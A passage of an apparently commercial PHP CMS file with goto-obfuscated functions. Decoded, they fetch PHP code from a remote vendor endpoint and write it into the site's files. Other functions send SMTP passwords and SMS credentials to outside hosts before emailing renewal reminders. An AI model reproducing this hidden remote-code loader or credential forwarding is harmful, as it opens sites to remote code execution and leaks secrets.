E4kldMhx7c;E4keWjgx7c:$E4kcV1=&$GLOBALS[wQBAbrJ][0];goto E4kx7b;E4kldMhx7c:$E4kcV1=$GLOBALS[wQBAbrJ][0];E4kx7b:unset($E4kcV2);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx7a;goto E4kldMhx7a;E4keWjgx7a:$E4kcV2=&$GLOBALS[wQBAbrJ][06];goto E4kx79;E4kldMhx7a:$E4kcV2=$GLOBALS[wQBAbrJ][06];E4kx79:$E4keF0=call_user_func_array("pack",array(&$E4kcV1,&$E4kcV2));$E4kA0=$callback==$E4keF0;if($E4kA0)goto E4keWjgx7d;goto E4kldMhx7d;E4keWjgx7d:unset($E4kcVvP1);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx7h;goto E4kldMhx7h;E4keWjgx7h:$E4kcVvP1=&$GLOBALS[wQBAbrJ][0];goto E4kx7g;E4kldMhx7h:$E4kcVvP1=$GLOBALS[wQBAbrJ][0];E4kx7g:unset($E4kcVvP2);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx7f;goto E4kldMhx7f;E4keWjgx7f:$E4kcVvP2=&$GLOBALS[wQBAbrJ][01];goto E4kx7e;E4kldMhx7f:$E4kcVvP2=$GLOBALS[wQBAbrJ][01];E4kx7e:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,&$E4kcVvP2));unset($E4kcV6);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx7l;goto E4kldMhx7l;E4keWjgx7l:$E4kcV6=&$GLOBALS[wQBAbrJ][0];goto E4kx7k;E4kldMhx7l:$E4kcV6=$GLOBALS[wQBAbrJ][0];E4kx7k:unset($E4kcV7);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx7j;goto E4kldMhx7j;E4keWjgx7j:$E4kcV7=&$GLOBALS[wQBAbrJ][01];goto E4kx7i;E4kldMhx7j:$E4kcV7=$GLOBALS[wQBAbrJ][01];E4kx7i:$E4keF5=call_user_func_array("pack",array(&$E4kcV6,&$E4kcV7));unset($E4ktIA0);$E4ktIA0=$E4keF5;$_SESSION[$E4keFvP0]=$E4ktIA0;return true;goto E4kx78;E4kldMhx7d:return false;E4kx78:E4kx6d:}function plug($plug,$path){$E4kA0=!defined("zsrIeYv");if($E4kA0)goto E4keWjgx7n;goto E4kldMhx7n;E4keWjgx7n:$E4keF0=call_user_func_array("define",array("zsrIeYv","ZjOkgbQ"));goto E4kx7m;E4kldMhx7n:E4kx7m:$E4keF0=call_user_func_array("explode",array("|@|||h","H*|@|||h|@|||h485454505F484F5354|@|||h2E706870|@|||h3C3F706870202F2F|@|||h2F6170692F696E6465782E7068703F616374696F6E3D706C756726646F6D61696E3D|@|||h61757468636F64653D|@|||h26706C75673D"));unset($E4ktIA0);$GLOBALS[zsrIeYv]=$E4keF0;global $conn,$C_authcode,$C_fdomain,$C_fzon,$from;unset($E4kcV1);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx7y;goto E4kldMhx7y;E4keWjgx7y:$E4kcV1=&$GLOBALS[zsrIeYv][0x0];goto E4kx7x;E4kldMhx7y:$E4kcV1=$GLOBALS[zsrIeYv][0x0];E4kx7x:$E4keF0=call_user_func_array("pack",array(&$E4kcV1,$GLOBALS[zsrIeYv]{1}));$E4kA0=$C_fdomain!=$E4keF0;$E4kA2=(bool)$E4kA0;if($E4kA2)goto E4keWjgx7w;goto E4kldMhx7w;E4keWjgx7w:$E4kA1=$C_fzon==1;$E4kA2=(bool)$E4kA1;goto E4kx7v;E4kldMhx7w:E4kx7v:$E4kA4=(bool)$E4kA2;if($E4kA4)goto E4keWjgx7u;goto E4kldMhx7u;E4keWjgx7u:$E4keF2=call_user_func_array("www",array(&$C_fdomain));unset($E4kcVvPvP4);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx7q;goto E4kldMhx7q;E4keWjgx7q:$E4kcVvPvP4=&$GLOBALS[zsrIeYv][0x0];goto E4kx7p;E4kldMhx7q:$E4kcVvPvP4=$GLOBALS[zsrIeYv][0x0];E4kx7p:$E4keFvPvP3=call_user_func_array("pack",array(&$E4kcVvPvP4,$GLOBALS[zsrIeYv]{0x2}));unset($E4kcV7);if(is_array($_SERVER))goto E4keWjgx7s;goto E4kldMhx7s;E4keWjgx7s:$E4kcV7=&$_SERVER[$E4keFvPvP3];goto E4kx7r;E4kldMhx7s:$E4kcV7=$_SERVER[$E4keFvPvP3];E4kx7r:$E4keF6=call_user_func_array("www",array(&$E4kcV7));$E4kA3=$E4keF2!=$E4keF6;$E4kA4=(bool)$E4kA3;goto E4kx7t;E4kldMhx7u:E4kx7t:if($E4kA4)goto E4keWjgx8z;goto E4kldMhx8z;E4keWjgx8z:unset($E4ktIA0);$domain=$C_fdomain;goto E4kx7o;E4kldMhx8z:unset($E4kcVvP1);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx82;goto E4kldMhx82;E4keWjgx82:$E4kcVvP1=&$GLOBALS[zsrIeYv][0x0];goto E4kx81;E4kldMhx82:$E4kcVvP1=$GLOBALS[zsrIeYv][0x0];E4kx81:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,$GLOBALS[zsrIeYv]{0x2}));unset($E4ktIA0);$domain=$_SERVER[$E4keFvP0];E4kx7o:$E4kvPA0=$path . $plug;unset($E4kcVvP1);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx85;goto E4kldMhx85;E4keWjgx85:$E4kcVvP1=&$GLOBALS[zsrIeYv][0x0];goto E4kx84;E4kldMhx85:$E4kcVvP1=$GLOBALS[zsrIeYv][0x0];E4kx84:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,$GLOBALS[zsrIeYv]{0x3}));$E4kvPA1=$E4kvPA0 . $E4keFvP0;$E4keF3=call_user_func_array("is_file",array(&$E4kvPA1));if($E4keF3)goto E4keWjgx86;goto E4kldMhx86;E4keWjgx86:$E4kvPvPA0=$path . $plug;unset($E4kcVvPvP1);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx89;goto E4kldMhx89;E4keWjgx89:$E4kcVvPvP1=&$GLOBALS[zsrIeYv][0x0];goto E4kx88;E4kldMhx89:$E4kcVvPvP1=$GLOBALS[zsrIeYv][0x0];E4kx88:$E4keFvPvP0=call_user_func_array("pack",array(&$E4kcVvPvP1,$GLOBALS[zsrIeYv]{0x3}));$E4kvPvPA1=$E4kvPvPA0 . $E4keFvPvP0;$E4keFvP3=call_user_func_array("file_get_contents",array(&$E4kvPvPA1));$E4keF4=call_user_func_array("substr",array(&$E4keFvP3,0,40));unset($E4kcV6);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8d;goto E4kldMhx8d;E4keWjgx8d:$E4kcV6=&$GLOBALS[zsrIeYv][0x0];goto E4kx8c;E4kldMhx8d:$E4kcV6=$GLOBALS[zsrIeYv][0x0];E4kx8c:unset($E4kcV7);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8b;goto E4kldMhx8b;E4keWjgx8b:$E4kcV7=&$GLOBALS[zsrIeYv][0x4];goto E4kx8a;E4kldMhx8b:$E4kcV7=$GLOBALS[zsrIeYv][0x4];E4kx8a:$E4keF5=call_user_func_array("pack",array(&$E4kcV6,&$E4kcV7));$E4keF8=call_user_func_array("md5",array(&$C_authcode));$E4kA2=$E4keF5 . $E4keF8;$E4kA3=$E4keF4!=$E4kA2;if($E4kA3)goto E4keWjgx8e;goto E4kldMhx8e;E4keWjgx8e:$E4kvPA0=$path . $plug;unset($E4kcVvP1);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8g;goto E4kldMhx8g;E4keWjgx8g:$E4kcVvP1=&$GLOBALS[zsrIeYv][0x0];goto E4kx8f;E4kldMhx8g:$E4kcVvP1=$GLOBALS[zsrIeYv][0x0];E4kx8f:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,$GLOBALS[zsrIeYv]{0x3}));$E4kvPA1=$E4kvPA0 . $E4keFvP0;unset($E4kcVvPvP4);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8k;goto E4kldMhx8k;E4keWjgx8k:$E4kcVvPvP4=&$GLOBALS[zsrIeYv][0x0];goto E4kx8j;E4kldMhx8k:$E4kcVvPvP4=$GLOBALS[zsrIeYv][0x0];E4kx8j:unset($E4kcVvPvP5);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8i;goto E4kldMhx8i;E4keWjgx8i:$E4kcVvPvP5=&$GLOBALS[zsrIeYv][05];goto E4kx8h;E4kldMhx8i:$E4kcVvPvP5=$GLOBALS[zsrIeYv][05];E4kx8h:$E4keFvPvP3=call_user_func_array("pack",array(&$E4kcVvPvP4,&$E4kcVvPvP5));$E4kvPvPA2=$from . $E4keFvPvP3;$E4kvPvPA3=$E4kvPvPA2 . $domain;unset($E4kcVvPvP9);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8q;goto E4kldMhx8q;E4keWjgx8q:$E4kcVvPvP9=&$GLOBALS[zsrIeYv][0x0];goto E4kx8p;E4kldMhx8q:$E4kcVvPvP9=$GLOBALS[zsrIeYv][0x0];E4kx8p:unset($E4kcVvPvP10);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8o;goto E4kldMhx8o;E4keWjgx8o:$E4kcVvPvP10=&$GLOBALS[zsrIeYv][06];goto E4kx8n;E4kldMhx8o:$E4kcVvPvP10=$GLOBALS[zsrIeYv][06];E4kx8n:$E4keFvPvP8=call_user_func_array("pack",array(&$E4kcVvPvP9,&$E4kcVvPvP10));$E4kvPvPA4=$E4keFvPvP8 . $C_authcode;unset($E4kcVvPvP12);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8m;goto E4kldMhx8m;E4keWjgx8m:$E4kcVvPvP12=&$GLOBALS[zsrIeYv][0x0];goto E4kx8l;E4kldMhx8m:$E4kcVvPvP12=$GLOBALS[zsrIeYv][0x0];E4kx8l:$E4keFvPvP11=call_user_func_array("pack",array(&$E4kcVvPvP12,$GLOBALS[zsrIeYv]{07}));$E4kvPvPA5=$E4kvPvPA4 . $E4keFvPvP11;$E4kvPvPA6=$E4kvPvPA5 . $plug;$E4keFvP16=call_user_func_array("getbody",array(&$E4kvPvPA3,&$E4kvPvPA6));$E4keF17=call_user_func_array("file_put_contents",array(&$E4kvPA1,&$E4keFvP16));goto E4kx87;E4kldMhx8e:E4kx87:goto E4kx83;E4kldMhx86:$E4kvPA0=$path . $plug;unset($E4kcVvP1);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8s;goto E4kldMhx8s;E4keWjgx8s:$E4kcVvP1=&$GLOBALS[zsrIeYv][0x0];goto E4kx8r;E4kldMhx8s:$E4kcVvP1=$GLOBALS[zsrIeYv][0x0];E4kx8r:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,$GLOBALS[zsrIeYv]{0x3}));$E4kvPA1=$E4kvPA0 . $E4keFvP0;unset($E4kcVvPvP4);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8w;goto E4kldMhx8w;E4keWjgx8w:$E4kcVvPvP4=&$GLOBALS[zsrIeYv][0x0];goto E4kx8v;E4kldMhx8w:$E4kcVvPvP4=$GLOBALS[zsrIeYv][0x0];E4kx8v:unset($E4kcVvPvP5);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8u;goto E4kldMhx8u;E4keWjgx8u:$E4kcVvPvP5=&$GLOBALS[zsrIeYv][05];goto E4kx8t;E4kldMhx8u:$E4kcVvPvP5=$GLOBALS[zsrIeYv][05];E4kx8t:$E4keFvPvP3=call_user_func_array("pack",array(&$E4kcVvPvP4,&$E4kcVvPvP5));$E4kvPvPA2=$from . $E4keFvPvP3;$E4kvPvPA3=$E4kvPvPA2 . $domain;unset($E4kcVvPvP9);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx93;goto E4kldMhx93;E4keWjgx93:$E4kcVvPvP9=&$GLOBALS[zsrIeYv][0x0];goto E4kx92;E4kldMhx93:$E4kcVvPvP9=$GLOBALS[zsrIeYv][0x0];E4kx92:unset($E4kcVvPvP10);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx91;goto E4kldMhx91;E4keWjgx91:$E4kcVvPvP10=&$GLOBALS[zsrIeYv][06];goto E4kx9z;E4kldMhx91:$E4kcVvPvP10=$GLOBALS[zsrIeYv][06];E4kx9z:$E4keFvPvP8=call_user_func_array("pack",array(&$E4kcVvPvP9,&$E4kcVvPvP10));$E4kvPvPA4=$E4keFvPvP8 . $C_authcode;unset($E4kcVvPvP12);if(is_array($GLOBALS[zsrIeYv]))goto E4keWjgx8y;goto E4kldMhx8y;E4keWjgx8y:$E4kcVvPvP12=&$GLOBALS[zsrIeYv][0x0];goto E4kx8x;E4kldMhx8y:$E4kcVvPvP12=$GLOBALS[zsrIeYv][0x0];E4kx8x:$E4keFvPvP11=call_user_func_array("pack",array(&$E4kcVvPvP12,$GLOBALS[zsrIeYv]{07}));$E4kvPvPA5=$E4kvPvPA4 . $E4keFvPvP11;$E4kvPvPA6=$E4kvPvPA5 . $plug;$E4keFvP16=call_user_func_array("getbody",array(&$E4kvPvPA3,&$E4kvPvPA6));$E4keF17=call_user_func_array("file_put_contents",array(&$E4kvPA1,&$E4keFvP16));E4kx83:}function ycode($string){$E4kA0=!defined("RCQzUFJ");if($E4kA0)goto E4keWjgx95;goto E4kldMhx95;E4keWjgx95:$E4keF0=call_user_func_array("define",array("RCQzUFJ","NUzfIJQ"));goto E4kx94;E4kldMhx95:E4kx94:$E4keF0=call_user_func_array("explode",array("|/|z|G","H*|/|z|G4445434F4445|/|z|G666168756F3130302E636E"));unset($E4ktIA0);$GLOBALS[RCQzUFJ]=$E4keF0;unset($E4kcVvP1);if(is_array($GLOBALS[RCQzUFJ]))goto E4keWjgx99;goto E4kldMhx99;E4keWjgx99:$E4kcVvP1=&$GLOBALS[RCQzUFJ][0x0];goto E4kx98;E4kldMhx99:$E4kcVvP1=$GLOBALS[RCQzUFJ][0x0];E4kx98:unset($E4kcVvP2);if(is_array($GLOBALS[RCQzUFJ]))goto E4keWjgx97;goto E4kldMhx97;E4keWjgx97:$E4kcVvP2=&$GLOBALS[RCQzUFJ][0x1];goto E4kx96;E4kldMhx97:$E4kcVvP2=$GLOBALS[RCQzUFJ][0x1];E4kx96:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,&$E4kcVvP2));unset($E4kcVvP6);if(is_array($GLOBALS[RCQzUFJ]))goto E4keWjgx9d;goto E4kldMhx9d;E4keWjgx9d:$E4kcVvP6=&$GLOBALS[RCQzUFJ][0x0];goto E4kx9c;E4kldMhx9d:$E4kcVvP6=$GLOBALS[RCQzUFJ][0x0];E4kx9c:unset($E4kcVvP7);if(is_array($GLOBALS[RCQzUFJ]))goto E4keWjgx9b;goto E4kldMhx9b;E4keWjgx9b:$E4kcVvP7=&$GLOBALS[RCQzUFJ][2];goto E4kx9a;E4kldMhx9b:$E4kcVvP7=$GLOBALS[RCQzUFJ][2];E4kx9a:$E4keFvP5=call_user_func_array("pack",array(&$E4kcVvP6,&$E4kcVvP7));$E4keF10=call_user_func_array("xcode",array(&$string,&$E4keFvP0,&$E4keFvP5,0));return $E4keF10;}function zcode($string){$E4kA0=!defined("jlBcRUJ");if($E4kA0)goto E4keWjgx9f;goto E4kldMhx9f;E4keWjgx9f:$E4keF0=call_user_func_array("define",array("jlBcRUJ","prSdesQ"));goto E4kx9e;E4kldMhx9f:E4kx9e:$E4keF0=call_user_func_array("explode",array("|=|D|T","H*|=|D|T454E434F4445|=|D|T666168756F3130302E636E"));unset($E4ktIA0);$GLOBALS[jlBcRUJ]=$E4keF0;unset($E4kcVvP1);if(is_array($GLOBALS[jlBcRUJ]))goto E4keWjgx9j;goto E4kldMhx9j;E4keWjgx9j:$E4kcVvP1=&$GLOBALS[jlBcRUJ][00];goto E4kx9i;E4kldMhx9j:$E4kcVvP1=$GLOBALS[jlBcRUJ][00];E4kx9i:unset($E4kcVvP2);if(is_array($GLOBALS[jlBcRUJ]))goto E4keWjgx9h;goto E4kldMhx9h;E4keWjgx9h:$E4kcVvP2=&$GLOBALS[jlBcRUJ][1];goto E4kx9g;E4kldMhx9h:$E4kcVvP2=$GLOBALS[jlBcRUJ][1];E4kx9g:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,&$E4kcVvP2));unset($E4kcVvP6);if(is_array($GLOBALS[jlBcRUJ]))goto E4keWjgx9l;goto E4kldMhx9l;E4keWjgx9l:$E4kcVvP6=&$GLOBALS[jlBcRUJ][00];goto E4kx9k;E4kldMhx9l:$E4kcVvP6=$GLOBALS[jlBcRUJ][00];E4kx9k:$E4keFvP5=call_user_func_array("pack",array(&$E4kcVvP6,$GLOBALS[jlBcRUJ]{02}));$E4keF8=call_user_func_array("xcode",array(&$string,&$E4keFvP0,&$E4keFvP5,0));return $E4keF8;}


function sendmail($subject,$body,$mailto){
    global $C_email,$C_domain,$C_fdomain,$C_logo,$C_title,$C_mailcode,$C_mailtype,$C_smtp,$mail;
    if(time()-intval($_SESSION["time2"])>30){
		if($C_mailtype==1){
			GetBody($mail."/fahuo.php","mail_from=".urlencode($C_email)."&mail_to=".urlencode($mailto)."&mail_name=".urlencode($C_title)."&mail_title=".urlencode($subject)."&mail_content=".urlencode($body)."&mail_smtp=".urlencode($C_smtp)."&mail_pwd=".urlencode($C_mailcode)."&mail_logo=".urlencode($C_fdomain."/media/".$C_logo)."&mail_web=".urlencode($C_domain));
		}else{
			GetBody($mail."/fahuo.php","mail_from=".urlencode("scms")."&mail_to=".urlencode($mailto)."&mail_name=".urlencode($C_title)."&mail_title=".urlencode($subject)."&mail_content=".urlencode($body)."&mail_smtp=".urlencode($C_smtp)."&mail_pwd=".urlencode($C_mailcode)."&mail_logo=".urlencode($C_fdomain."/media/".$C_logo)."&mail_web=".urlencode($C_domain));
		}
		$_SESSION["time2"]=time();
		return "success";
	}else{
		return 30-time()+intval($_SESSION["time2"]);
	}
}

function sendsms($content,$recieve){
	global $C_userid,$C_codeid,$C_codekey;
	if(intval($C_userid)>0){
		if(time()-intval($_SESSION["time"])>60){
			getbody("http://dx.10691.net:8888/sms.aspx?action=send&userid=".$C_userid."&account=".$C_codeid."&password=".$C_codekey."&content=".urlencode($content)."&sendTime=&mobile=".$recieve."&extno=","");
			$_SESSION["time"]=time();
			return "success";
		}else{
			return 60-time()+intval($_SESSION["time"]);
		}
	}
}

if($config->tx=="true"){
	//每月提醒
	$sql="select * from sl_orders,sl_member where O_mid=M_id and O_state=1 and (TIMESTAMPDIFF(DAY,DATE_FORMAT(NOW(), '%Y-%m-%d %H:%i:%S'),O_time2)=2 or TIMESTAMPDIFF(DAY,DATE_FORMAT(NOW(), '%Y-%m-%d %H:%i:%S'),O_time2)=1) and TIMESTAMPDIFF(DAY,O_today,DATE_FORMAT(NOW(), '%Y-%m-%d %H:%i:%S'))>0";
	$result = mysqli_query($conn,  $sql);
	if (mysqli_num_rows($result) > 0) {
		while($row = mysqli_fetch_assoc($result)) {
			if($row["O_mid"]==1){
				$email=splitx($row["O_address"],"__",0);
			}else{
				$email=$row["M_email"];
				sendsms("【".$C_smssign."】您有订单将要到期，请尽快待续费！",$row["M_mobile"]);
			}
	        sendmail("您有订单将要到期","<p>您有订单将要到期，请尽快待续费</p><p>订单名称：".$row["O_title"]."</p><p>请登录<a href=\"".gethttp().$_SERVER["HTTP_HOST"]."/member\">会员中心</a>执行续费操作</p>",$email);
	        mysqli_query($conn,"update sl_orders set O_today='".date('Y-m-d H:i:s')."' where O_id=".$row["O_id"]);
	    }
	}
}
?>